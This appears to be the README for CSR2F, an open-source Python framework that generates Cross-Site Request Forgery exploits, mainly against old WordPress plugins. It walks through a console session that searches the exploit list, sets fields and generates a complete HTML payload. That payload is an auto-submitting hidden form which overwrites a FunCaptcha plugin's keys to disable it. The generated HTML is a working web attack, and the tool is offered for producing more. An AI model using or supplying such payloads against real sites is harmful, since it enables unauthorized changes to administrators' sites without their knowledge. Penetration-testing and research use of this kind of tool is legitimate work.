CSR2F (Cross-Site Request Forgery Framework) is an open source tool written in Python and used for generating CSRF (Cross-Site Request Forgery) exploits. It allows you to search an exploit for a specific case (for example a vulnerable WordPress plugin), then to configure and generate the HTML code.
- CSR2F uses Python 3 to run.
You can download the latest tarball by clicking here or latest zipball by clicking here.
Preferably, you can download CSR2F by cloning the Git repository:
git clone https://github.com/ncrocfer/csr2f.git
You must execute the csr2f.py file to start CSR2F and obtain a prompt:
shatter@shatter:~/csr2f$ python3 csr2f.py
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* ______ ______ _______ _____ ________ *
* .' ___ |.' ____ \ |_ __ \ / ___ `.|_ __ | *
* / .' \_|| (___ \_| | |__) | |_/___) | | |_ \_| *
* | | _.____`. | __ / .'____.' | _| *
* \ `.___.'\| \____) | _| | \ \_ / /_____ _| |_ *
* `.____ .' \______.'|____| |___||_______||_____| *
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* Cross Site Request Forgery Framework *
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* Version : 0.1b *
* Author : Nicolas Crocfer *
* Website : http://csr2f.github.com *
* Licence : GPLv3 *
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[+] 207 exploits loaded
csr2f>
help
This command describes the other commands and shows their usage.
csr2f> help
Commands Description
======== ===========
config Display the configuration options
clear Clear the current screen
search Search an exploit based on keyword
show Display informations about an exploit based on its ID
set Set special fields for an exploit
generate Generate the exploit to the console or in a file
... ...
csr2f> help config
This command is used to view and modify the basic configuration. You
can view it by typing 'config' without argument.
Usage: config <item> <value>
Ex: config host_url http://www.example.com
csr2f>
config
This command is used to view and modify the basic configuration.
csr2f> config
Config Value
====== =====
host_url http://www.example.com
redirect False
html_skeleton True
html_title CSR2F : Cross Site Request Forgery Framework
redirect_url http://www.example.com
csr2f> config redirect True
[+] The value has been modified
csr2f>
search
You can search an exploit based on keywords by using the search command.
csr2f> search wordpress plugin
Date ID Method Name Description
==== == ====== ==== ===========
2013-04-11 112 POST Wordpress FunCaptcha plug... A CSRF vulnerability allows to disable...
2013-03-25 134 POST Wordpress Mathjax Latex P... There is no CSRF protection on the mat...
2013-03-01 175 POST WordPress SolveMedia 1.1.0 SolveMedia is a capatcha service that ...
... ... ... ... ...
csr2f>
show
This command is used to show the informations about an exploit (author, description, configuration...).
csr2f> show 112
Informations
============
Name : Wordpress FunCaptcha plugin 0.3.2
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Description
-----------
A CSRF vulnerability allows to disable the plugin by submitting an invalid private or public key.
Author : Nicolas Crocfer (https://github.com/ncrocfer)
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Method & Path : (POST) /wp-admin/plugins.php?page=funcaptcha/wp_funcaptcha.php
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Configuration
=============
funcaptcha[public_key] => foo
----------------------
Value of the new public key
funcaptcha[private_key] => bar
-----------------------
Value of the new private key
csr2f>
set
Each exploit can contain special fields that you can edit (for example a username, a password, an email adress...). This command is used to change these values.
csr2f> set 112 funcaptcha[public_key] 1234
[+] The value has been modified
csr2f>
generate
This command is used to generate the HTML exploit. You can display it on the screen by typing generate <id> without other argument. You can also pass a filename to create a new file.
csr2f> generate 112
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>
CSR2F : Cross Site Request Forgery Framework
</title>
</head>
<body>
<form action="http://www.example.com/wp-admin/plugins.php?page=funcaptcha/wp_funcaptcha.php" id="csr2f" method="post">
<input name="funcaptcha[public_key]" type="hidden" value="foo"/>
<input name="funcaptcha[private_key]" type="hidden" value="bar"/>
<input name="funcaptcha[action]" type="hidden" value="settings"/>
<input name="funcaptcha[type]" type="hidden" value="Settings"/>
</form>
<script type="text/javascript">
document.getElementById("csr2f").submit();
</script>
</body>
</html>
csrf2> generate 112 index.html
[+] The file was created in 'output' folder
csrf2>
Other commands
clear: Clear the user screenupdate: Update the exploits listexit: Exit the console
For the time being, CSR2F does not include a lot of exploits. I am currently incorporating the ones already online on exploit-db.com.
But the goal of this framework is to be the reference for CSRF vulnerabilities : so I encourage you to integrate your exploit to this tool when you discover a new vulnerability, and thereby increase the list with your contributions.
CSR2F uses a simple template for integrating new exploits. Each exploit is located in the exploits folder. For the moment this tool is still in Beta version, so I am waiting the return of beta testers to see if I need to add or modify the template system and then update this documentation. Anyway you can view the existing templates and tell me what do you think about.
I'm a French developer, my English is not perfect and I thank you in advance to tell me my mistakes :)